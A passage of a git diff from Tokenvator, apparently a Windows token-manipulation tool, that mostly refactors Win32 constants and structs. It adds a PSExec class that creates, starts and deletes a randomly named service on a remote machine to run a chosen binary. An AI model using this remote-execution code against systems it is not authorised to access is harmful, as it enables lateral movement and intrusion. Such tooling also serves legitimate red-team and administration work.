(!advapi32.LookupPrivilegeName(null, lpLuid, lpName, ref cchName)) + { + Tokens.GetWin32Error("LookupPrivilegeName Pass 2"); + continue; + } + + if (lpName.ToString() != privilegeName) + { + continue; + } + exists = true; + + Winnt._PRIVILEGE_SET privilegeSet = new Winnt._PRIVILEGE_SET + { + PrivilegeCount = 1, + Control = Winnt.PRIVILEGE_SET_ALL_NECESSARY, + Privilege = new Winnt._LUID_AND_ATTRIBUTES[] { tokenPrivileges.Privileges[i] } + }; + if (!advapi32.PrivilegeCheck(hToken, privilegeSet, out IntPtr pfResult)) + { + Tokens.GetWin32Error("PrivilegeCheck"); + continue; + } + enabled = Convert.ToBoolean(pfResult.ToInt32()); + } + catch (Exception ex) + { + Console.WriteLine(ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpLuid); + } + } + Console.WriteLine(); + return false; + } + + //////////////////////////////////////////////////////////////////////////////// + // Private function to query a token with an enumeration result + //////////////////////////////////////////////////////////////////////////////// + private static Boolean _QueryTokenInformation(IntPtr hToken, Winnt._TOKEN_INFORMATION_CLASS informationClass, ref Int32 dwTokenInformation) + { + UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); + IntPtr lpTokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); + try + { + if (!advapi32.GetTokenInformation(hToken, informationClass, lpTokenInformation, tokenInformationLength, out UInt32 returnLength)) + { + Tokens.GetWin32Error("GetTokenInformation"); + return false; + } + dwTokenInformation = Marshal.ReadInt32(lpTokenInformation); + } + catch(Exception ex) + { + Tokens.GetWin32Error("GetTokenInformation"); + Console.WriteLine("[-] {0}", ex.Message); + return false; + } + finally + { + Marshal.FreeHGlobal(lpTokenInformation); + } + return true; + } } } \ No newline at end of file diff --git a/Tokenvator/Resources/Constants.cs b/Tokenvator/Resources/Constants.cs index d10bd20..b07c0f2 100644 --- a/Tokenvator/Resources/Constants.cs +++ b/Tokenvator/Resources/Constants.cs @@ -5,73 +5,78 @@ namespace Tokenvator class Constants { //Process Security and Access Rights + //https://docs.microsoft.com/en-us/windows/desktop/procthread/process-security-and-access-rights + internal const UInt32 DELETE = 0x00010000; + internal const UInt32 READ_CONTROL = 0x00020000; + internal const UInt32 SYNCHRONIZE = 0x00100000; + internal const UInt32 WRITE_DAC = 0x00040000; + internal const UInt32 WRITE_OWNER = 0x00080000; //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - public const UInt32 PROCESS_ALL_ACCESS = 0; - public const UInt32 PROCESS_CREATE_PROCESS = 0x0080; - public const UInt32 PROCESS_CREATE_THREAD = 0x0002; - public const UInt32 PROCESS_DUP_HANDLE = 0x0040; - public const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; - public const UInt32 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; - public const UInt32 PROCESS_SET_INFORMATION = 0x0200; - public const UInt32 PROCESS_SET_QUOTA = 0x0100; - public const UInt32 PROCESS_SUSPEND_RESUME = 0x0800; - public const UInt32 PROCESS_TERMINATE = 0x0001; - public const UInt32 PROCESS_VM_OPERATION = 0x0008; - public const UInt32 PROCESS_VM_READ = 0x0010; - public const UInt32 PROCESS_VM_WRITE = 0x0020; - public const UInt32 SYNCHRONIZE = 0x00100000; + internal const UInt32 PROCESS_ALL_ACCESS = 0; + internal const UInt32 PROCESS_CREATE_PROCESS = 0x0080; + internal const UInt32 PROCESS_CREATE_THREAD = 0x0002; + internal const UInt32 PROCESS_DUP_HANDLE = 0x0040; + internal const UInt32 PROCESS_QUERY_INFORMATION = 0x0400; + internal const UInt32 PROCESS_QUERY_LIMITED_INFORMATION = 0x1000; + internal const UInt32 PROCESS_SET_INFORMATION = 0x0200; + internal const UInt32 PROCESS_SET_QUOTA = 0x0100; + internal const UInt32 PROCESS_SUSPEND_RESUME = 0x0800; + internal const UInt32 PROCESS_TERMINATE = 0x0001; + internal const UInt32 PROCESS_VM_OPERATION = 0x0008; + internal const UInt32 PROCESS_VM_READ = 0x0010; + internal const UInt32 PROCESS_VM_WRITE = 0x0020; //Token - //http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY = 0x0008; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); - public const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + + //https://docs.microsoft.com/en-us/windows/desktop/secauthz/standard-access-rights + internal const UInt32 STANDARD_RIGHTS_ALL = (DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER | SYNCHRONIZE); + internal const UInt32 STANDARD_RIGHTS_EXECUTE = READ_CONTROL; + internal const UInt32 STANDARD_RIGHTS_READ = READ_CONTROL; + internal const UInt32 STANDARD_RIGHTS_REQUIRED = (DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER);//0x000F0000; + internal const UInt32 STANDARD_RIGHTS_WRITE = READ_CONTROL; - //TOKEN_PRIVILEGES - //https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx - public const UInt32 SE_PRIVILEGE_ENABLED = 0x2; - public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1; - public const UInt32 SE_PRIVILEGE_REMOVED = 0x4; - public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x3; + //http://www.pinvoke.net/default.aspx/advapi32.openprocesstoken + internal const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + internal const UInt32 TOKEN_DUPLICATE = 0x0002; + internal const UInt32 TOKEN_IMPERSONATE = 0x0004; + internal const UInt32 TOKEN_QUERY = 0x0008; + internal const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + internal const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; + internal const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + internal const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + internal const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + internal const UInt32 TOKEN_EXECUTE = (STANDARD_RIGHTS_EXECUTE | TOKEN_IMPERSONATE); + internal const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + internal const UInt32 TOKEN_WRITE = (STANDARD_RIGHTS_READ | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT); + internal const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); + internal const UInt32 TOKEN_ALT = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY); + internal const UInt32 TOKEN_ALT2 = (TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); - public const Int32 ANYSIZE_ARRAY = 1; + internal const Int32 ANYSIZE_ARRAY = 1; //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx - public const String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; - public const String SE_BACKUP_NAME = "SeBackupPrivilege"; - public const String SE_DEBUG_NAME = "SeDebugPrivilege"; - public const String SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"; - public const String SE_TCB_NAME = "SeTcbPrivilege"; + //https://docs.microsoft.com/en-us/windows/desktop/secauthz/privilege-constants + internal const String SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"; + internal const String SE_BACKUP_NAME = "SeBackupPrivilege"; + internal const String SE_DEBUG_NAME = "SeDebugPrivilege"; + internal const String SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"; + internal const String SE_TCB_NAME = "SeTcbPrivilege"; - public const UInt64 SE_GROUP_ENABLED = 0x00000004L; - public const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; - public const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; - public const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; - public const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; - public const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; - public const UInt64 SE_GROUP_MANDATORY = 0x00000001L; - public const UInt64 SE_GROUP_OWNER = 0x00000008L; - public const UInt64 SE_GROUP_RESOURCE = 0x20000000L; - public const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; + internal const UInt64 SE_GROUP_ENABLED = 0x00000004L; + internal const UInt64 SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002L; + internal const UInt64 SE_GROUP_INTEGRITY = 0x00000020L; + internal const UInt32 SE_GROUP_INTEGRITY_32 = 0x00000020; + internal const UInt64 SE_GROUP_INTEGRITY_ENABLED = 0x00000040L; + internal const UInt64 SE_GROUP_LOGON_ID = 0xC0000000L; + internal const UInt64 SE_GROUP_MANDATORY = 0x00000001L; + internal const UInt64 SE_GROUP_OWNER = 0x00000008L; + internal const UInt64 SE_GROUP_RESOURCE = 0x20000000L; + internal const UInt64 SE_GROUP_USE_FOR_DENY_ONLY = 0x00000010L; //https://msdn.microsoft.com/en-us/library/windows/desktop/aa446583%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - public const UInt32 DISABLE_MAX_PRIVILEGE = 0x1; - public const UInt32 SANDBOX_INERT = 0x2; - public const UInt32 LUA_TOKEN = 0x4; - public const UInt32 WRITE_RESTRICTED = 0x8; + internal const UInt32 DISABLE_MAX_PRIVILEGE = 0x1; + internal const UInt32 SANDBOX_INERT = 0x2; + internal const UInt32 LUA_TOKEN = 0x4; + internal const UInt32 WRITE_RESTRICTED = 0x8; } } diff --git a/Tokenvator/Resources/Enums.cs b/Tokenvator/Resources/Enums.cs deleted file mode 100644 index df16c46..0000000 --- a/Tokenvator/Resources/Enums.cs +++ /dev/null @@ -1,190 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace Tokenvator -{ - class Enums - { - [Flags] - public enum LOGON_FLAGS - { - WithProfile = 1, - NetCredentialsOnly - } - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx - [Flags] - public enum CREATION_FLAGS - { - NONE = 0x0, - CREATE_DEFAULT_ERROR_MODE = 0x04000000, - CREATE_NEW_CONSOLE = 0x00000010, - CREATE_NEW_PROCESS_GROUP = 0x00000200, - CREATE_SEPARATE_WOW_VDM = 0x00000800, - CREATE_SUSPENDED = 0x00000004, - CREATE_UNICODE_ENVIRONMENT = 0x00000400, - EXTENDED_STARTUPINFO_PRESENT = 0x00080000 - } - - - - [Flags] - public enum _SECURITY_IMPERSONATION_LEVEL : int - { - SecurityAnonymous = 0, - SecurityIdentification = 1, - SecurityImpersonation = 2, - SecurityDelegation = 3 - }; - - [Flags] - public enum TOKEN_TYPE - { - TokenPrimary = 1, - TokenImpersonation - } - - //http://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK - [Flags] - public enum ACCESS_MASK : uint - { - DELETE = 0x00010000, - READ_CONTROL = 0x00020000, - WRITE_DAC = 0x00040000, - WRITE_OWNER = 0x00080000, - SYNCHRONIZE = 0x00100000, - STANDARD_RIGHTS_REQUIRED = 0x000F0000, - STANDARD_RIGHTS_READ = 0x00020000, - STANDARD_RIGHTS_WRITE = 0x00020000, - STANDARD_RIGHTS_EXECUTE = 0x00020000, - STANDARD_RIGHTS_ALL = 0x001F0000, - SPECIFIC_RIGHTS_ALL = 0x0000FFF, - ACCESS_SYSTEM_SECURITY = 0x01000000, - MAXIMUM_ALLOWED = 0x02000000, - GENERIC_READ = 0x80000000, - GENERIC_WRITE = 0x40000000, - GENERIC_EXECUTE = 0x20000000, - GENERIC_ALL = 0x10000000, - DESKTOP_READOBJECTS = 0x00000001, - DESKTOP_CREATEWINDOW = 0x00000002, - DESKTOP_CREATEMENU = 0x00000004, - DESKTOP_HOOKCONTROL = 0x00000008, - DESKTOP_JOURNALRECORD = 0x00000010, - DESKTOP_JOURNALPLAYBACK = 0x00000020, - DESKTOP_ENUMERATE = 0x00000040, - DESKTOP_WRITEOBJECTS = 0x00000080, - DESKTOP_SWITCHDESKTOP = 0x00000100, - WINSTA_ENUMDESKTOPS = 0x00000001, - WINSTA_READATTRIBUTES = 0x00000002, - WINSTA_ACCESSCLIPBOARD = 0x00000004, - WINSTA_CREATEDESKTOP = 0x00000008, - WINSTA_WRITEATTRIBUTES = 0x00000010, - WINSTA_ACCESSGLOBALATOMS = 0x00000020, - WINSTA_EXITWINDOWS = 0x00000040, - WINSTA_ENUMERATE = 0x00000100, - WINSTA_READSCREEN = 0x00000200, - WINSTA_ALL_ACCESS = 0x0000037F - }; - - public enum SECURITY_IMPERSONATION_LEVEL - { - SecurityAnonymous, - SecurityIdentification, - SecurityImpersonation, - SecurityDelegation - } - - public enum _TOKEN_INFORMATION_CLASS { - TokenUser = 1, - TokenGroups, - TokenPrivileges, - TokenOwner, - TokenPrimaryGroup, - TokenDefaultDacl, - TokenSource, - TokenType, - TokenImpersonationLevel, - TokenStatistics, - TokenRestrictedSids, - TokenSessionId, - TokenGroupsAndPrivileges, - TokenSessionReference, - TokenSandBoxInert, - TokenAuditPolicy, - TokenOrigin, - TokenElevationType, - TokenLinkedToken, - TokenElevation, - TokenHasRestrictions, - TokenAccessInformation, - TokenVirtualizationAllowed, - TokenVirtualizationEnabled, - TokenIntegrityLevel, - TokenUIAccess, - TokenMandatoryPolicy, - TokenLogonSid, - TokenIsAppContainer, - TokenCapabilities, - TokenAppContainerSid, - TokenAppContainerNumber, - TokenUserClaimAttributes, - TokenDeviceClaimAttributes, - TokenRestrictedUserClaimAttributes, - TokenRestrictedDeviceClaimAttributes, - TokenDeviceGroups, - TokenRestrictedDeviceGroups, - TokenSecurityAttributes, - TokenIsRestricted, - MaxTokenInfoClass - } - - public enum _SID_NAME_USE - { - SidTypeUser = 1, - SidTypeGroup, - SidTypeDomain, - SidTypeAlias, - SidTypeWellKnownGroup, - SidTypeDeletedAccount, - SidTypeInvalid, - SidTypeUnknown, - SidTypeComputer, - SidTypeLabel - } - - internal enum CRED_FLAGS : uint - { - NONE = 0x0, - PROMPT_NOW = 0x2, - USERNAME_TARGET = 0x4 - } - - internal enum CRED_PERSIST : uint - { - Session = 1, - LocalMachine, - Enterprise - } - - internal enum CRED_TYPE : uint - { - Generic = 1, - DomainPassword, - DomainCertificate, - DomainVisiblePassword, - GenericCertificate, - DomainExtended, - Maximum, - MaximumEx = Maximum + 1000, - } - - internal enum TOKEN_ELEVATION_TYPE - { - TokenElevationTypeDefault = 1, - TokenElevationTypeFull, - TokenElevationTypeLimited - } - } -} diff --git a/Tokenvator/Resources/PSExec.cs b/Tokenvator/Resources/PSExec.cs new file mode 100644 index 0000000..cfb09cf --- /dev/null +++ b/Tokenvator/Resources/PSExec.cs @@ -0,0 +1,196 @@ +using System; +using System.Linq; +using System.Runtime.InteropServices; + +using Unmanaged.Headers; +using Unmanaged.Libraries; + +namespace Tokenvator +{ + sealed class PSExec : IDisposable + { + String serviceName; + IntPtr hServiceManager; + IntPtr hSCObject; + + Boolean disposed; + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public PSExec(String serviceName) + { + this.serviceName = serviceName; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public PSExec() + { + this.serviceName = GenerateUuid(12); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + ~PSExec() + { + Dispose(); + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + public void Dispose() + { + if (!disposed) + { + Delete(); + } + disposed = true; + if (IntPtr.Zero != hSCObject) + { + advapi32.CloseServiceHandle(hSCObject); + } + + if (IntPtr.Zero != hServiceManager) + { + kernel32.CloseHandle(hServiceManager); + } + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Connect(String machineName) + { + hServiceManager = advapi32.OpenSCManager( + machineName, null, Winsvc.dwSCManagerDesiredAccess.SC_MANAGER_CONNECT | Winsvc.dwSCManagerDesiredAccess.SC_MANAGER_CREATE_SERVICE + ); + + if (IntPtr.Zero == hServiceManager) + { + Console.WriteLine("[-] Failed to connect service controller {0}", machineName); + return false; + } + + Console.WriteLine("[+] Connected to {0}", machineName); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // Creates a service + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Create(String lpBinaryPathName) + { + Console.WriteLine("[*] Creating service {0}", serviceName); + //Console.WriteLine(lpBinaryPathName); + IntPtr hSCObject = advapi32.CreateService( + hServiceManager, + serviceName, serviceName, + Winsvc.dwDesiredAccess.SERVICE_ALL_ACCESS, + Winsvc.dwServiceType.SERVICE_WIN32_OWN_PROCESS, + Winsvc.dwStartType.SERVICE_DEMAND_START, + Winsvc.dwErrorControl.SERVICE_ERROR_IGNORE, + lpBinaryPathName, + String.Empty, null, String.Empty, null, null + ); + + if (IntPtr.Zero == hSCObject) + { + Console.WriteLine("[-] Failed to create service"); + Console.WriteLine(Marshal.GetLastWin32Error()); + return false; + } + + advapi32.CloseServiceHandle(hSCObject); + Console.WriteLine("[+] Created service {0}", serviceName); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Opens a handle to a service + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Open() + { + hSCObject = advapi32.OpenService(hServiceManager, serviceName, Winsvc.dwDesiredAccess.SERVICE_ALL_ACCESS); + + if (IntPtr.Zero == hSCObject) + { + Console.WriteLine("[-] Failed to open service"); + Console.WriteLine(Marshal.GetLastWin32Error()); + return false; + } + + Console.WriteLine("[+] Opened service"); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Starts the service, if there is a start timeout error, return true + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Start() + { + if (!advapi32.StartService(hSCObject, 0, null)) + { + Int32 error = Marshal.GetLastWin32Error(); + if (1053 != error) + { + Console.WriteLine("[-] Failed to start service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(error).Message); + return false; + } + } + Console.WriteLine("[+] Started Service"); + return true; + } + + /////////////////////////////////////////////////////////////////////////////// + // Stops the service, if service is already stopped returns true + /////////////////////////////////////////////////////////////////////////////// + internal Boolean Stop() + { + Winsvc._SERVICE_STATUS serviceStatus; + IntPtr hControlService = advapi32.ControlService(hSCObject, Winsvc.dwControl.SERVICE_CONTROL_STOP, out serviceStatus); + + if (IntPtr.Zero == hControlService) + { + Int32 error = Marshal.GetLastWin32Error(); + if (1062 != error) + { + Console.WriteLine("[-] Failed to stop service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(error).Message); + return false; + } + } + Console.WriteLine("[+] Stopped Service"); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // Deletes the service + //////////////////////////////////////////////////////////////////////////////// + internal Boolean Delete() + { + if (!advapi32.DeleteService(hSCObject)) + { + Console.WriteLine("[-] Failed to delete service"); + Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message); + return false; + } + Console.WriteLine("[+] Deleted service"); + return true; + } + + //////////////////////////////////////////////////////////////////////////////// + // + //////////////////////////////////////////////////////////////////////////////// + internal static String GenerateUuid(int length) + { + Random random = new Random(); + const String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + return new String(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); + } + } +} \ No newline at end of file diff --git a/Tokenvator/Resources/Services.cs b/Tokenvator/Resources/Services.cs index 5f9ea28..f977767 100644 --- a/Tokenvator/Resources/Services.cs +++ b/Tokenvator/Resources/Services.cs @@ -1,8 +1,6 @@ using System; using System.Collections.Generic; -using System.Linq; using System.Management; -using System.Text; using System.ServiceProcess; namespace Tokenvator diff --git a/Tokenvator/Resources/Structs.cs b/Tokenvator/Resources/Structs.cs deleted file mode 100644 index 98692ee..0000000 --- a/Tokenvator/Resources/Structs.cs +++ /dev/null @@ -1,155 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Runtime.InteropServices; - -namespace Tokenvator -{ - class Structs - { - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFO - { - public UInt32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public UInt32 dwX; - public UInt32 dwY; - public UInt32 dwXSize; - public UInt32 dwYSize; - public UInt32 dwXCountChars; - public UInt32 dwYCountChars; - public UInt32 dwFillAttribute; - public UInt32 dwFlags; - public UInt16 wShowWindow; - public UInt16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _STARTUPINFOEX - { - _STARTUPINFO StartupInfo; - // PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; - }; - - //https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx - [StructLayout(LayoutKind.Sequential)] - public struct _PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public UInt32 dwProcessId; - public UInt32 dwThreadId; - }; - - //lpTokenAttributes - [StructLayout(LayoutKind.Sequential)] - public struct _SECURITY_ATTRIBUTES - { - UInt32 nLength; - IntPtr lpSecurityDescriptor; - Boolean bInheritHandle; - }; - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES - { - public UInt32 PrivilegeCount; - public _LUID_AND_ATTRIBUTES Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_PRIVILEGES_ARRAY - { - public UInt32 PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 30)] - public _LUID_AND_ATTRIBUTES[] Privileges; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID_AND_ATTRIBUTES - { - public _LUID Luid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _LUID - { - public UInt32 LowPart; - public UInt32 HighPart; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SidIdentifierAuthority - { - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 6, ArraySubType = UnmanagedType.I1)] - public byte[] Value; - } - - [StructLayout(LayoutKind.Sequential)] - public struct SID_AND_ATTRIBUTES - { - public IntPtr Sid; - public UInt32 Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TOKEN_MANDATORY_LABEL - { - public SID_AND_ATTRIBUTES Label; - } - - public const Int32 PRIVILEGE_SET_ALL_NECESSARY = 1; - - private const Int32 ANYSIZE_ARRAY = 1; - [StructLayout(LayoutKind.Sequential)] - public struct _PRIVILEGE_SET - { - public UInt32 PrivilegeCount; - public UInt32 Control; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = ANYSIZE_ARRAY)] - public _LUID_AND_ATTRIBUTES[] Privilege; - } - - [StructLayout(LayoutKind.Sequential)] - public struct _TOKEN_USER - { - public SID_AND_ATTRIBUTES User; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - internal struct _CREDENTIAL - { - public Enums.CRED_FLAGS Flags; - public Enums.CRED_TYPE Type; - public IntPtr TargetName; - public IntPtr Comment; - public FILETIME LastWritten; - public UInt32 CredentialBlobSize; - public IntPtr CredentialBlob; - public Enums.CRED_PERSIST Persist; - public UInt32 AttributeCount; - public IntPtr Attributes; - public IntPtr TargetAlias; - public IntPtr UserName; - } - - public struct _SID - { - byte Revision; - byte SubAuthorityCount; - SidIdentifierAuthority IdentifierAuthority; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - ulong[] SubAuthority; - } - } -} diff --git a/Tokenvator/Resources/Structs2/Winbase.cs b/Tokenvator/Resources/Structs2/Winbase.cs deleted file mode 100644 index 049481c..0000000 --- a/Tokenvator/Resources/Structs2/Winbase.cs +++ /dev/null @@ -1,30 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; - -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winbase - { - [StructLayout(LayoutKind.Sequential)] - internal struct _SYSTEM_INFO - { - public WORD wProcessorArchitecture; - public WORD wReserved; - public DWORD dwPageSize; - public LPVOID lpMinimumApplicationAddress; - public LPVOID lpMaximumApplicationAddress; - public DWORD_PTR dwActiveProcessorMask; - public DWORD dwNumberOfProcessors; - public DWORD dwProcessorType; - public DWORD dwAllocationGranularity; - public WORD wProcessorLevel; - public WORD wProcessorRevision; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Structs2/Wincrypt.cs b/Tokenvator/Resources/Structs2/Wincrypt.cs deleted file mode 100644 index cbc1839..0000000 --- a/Tokenvator/Resources/Structs2/Wincrypt.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using LPCWSTR = System.String; - -using HWND = System.IntPtr; -using BYTE = System.IntPtr; -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Wincrypt - { - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTOAPI_BLOB - { - public DWORD cbData; - public BYTE pbData; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _CRYPTPROTECT_PROMPTSTRUCT - { - public DWORD cbSize; - public DWORD dwPromptFlags; - public HWND hwndApp; - public LPCWSTR szPrompt; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/Structs2/Winnt.cs b/Tokenvator/Resources/Structs2/Winnt.cs deleted file mode 100644 index 6c2d164..0000000 --- a/Tokenvator/Resources/Structs2/Winnt.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System.Runtime.InteropServices; - -using WORD = System.UInt16; -using DWORD = System.UInt32; -using QWORD = System.UInt64; -using ULONGLONG = System.UInt64; - -using PVOID = System.IntPtr; -using LPVOID = System.IntPtr; -using DWORD_PTR = System.IntPtr; -using SIZE_T = System.IntPtr; - -namespace WheresMyImplant -{ - public class Winnt - { - //////////////////////////////////////////////////////////////////////////////// - // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366786(v=vs.85).aspx - //////////////////////////////////////////////////////////////////////////////// - public const DWORD PAGE_NOACCESS = 0x01; - public const DWORD PAGE_READONLY = 0x02; - public const DWORD PAGE_READWRITE = 0x04; - public const DWORD PAGE_WRITECOPY = 0x08; - public const DWORD PAGE_EXECUTE = 0x10; - public const DWORD PAGE_EXECUTE_READ = 0x20; - public const DWORD PAGE_EXECUTE_READWRITE = 0x40; - public const DWORD PAGE_EXECUTE_WRITECOPY = 0x80; - public const DWORD PAGE_GUARD = 0x100; - public const DWORD PAGE_NOCACHE = 0x200; - public const DWORD PAGE_WRITECOMBINE = 0x400; - public const DWORD PAGE_TARGETS_INVALID = 0x40000000; - public const DWORD PAGE_TARGETS_NO_UPDATE = 0x40000000; - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION32 - { - public DWORD BaseAddress; - public DWORD AllocationBase; - public DWORD AllocationProtect; - public DWORD RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - } - - [StructLayout(LayoutKind.Sequential)] - internal struct _MEMORY_BASIC_INFORMATION64 - { - public ULONGLONG BaseAddress; - public ULONGLONG AllocationBase; - public DWORD AllocationProtect; - public DWORD __alignment1; - public ULONGLONG RegionSize; - public DWORD State; - public DWORD Protect; - public DWORD Type; - public DWORD __alignment2; - } - } -} \ No newline at end of file diff --git a/Tokenvator/Resources/TabComplete.cs b/Tokenvator/Resources/TabComplete.cs index 9d32b97..8d93466 100644 --- a/Tokenvator/Resources/TabComplete.cs +++ b/Tokenvator/Resources/TabComplete.cs @@ -80,10 +80,12 @@ public String ReadLine() } break; case ConsoleKey.LeftArrow: - 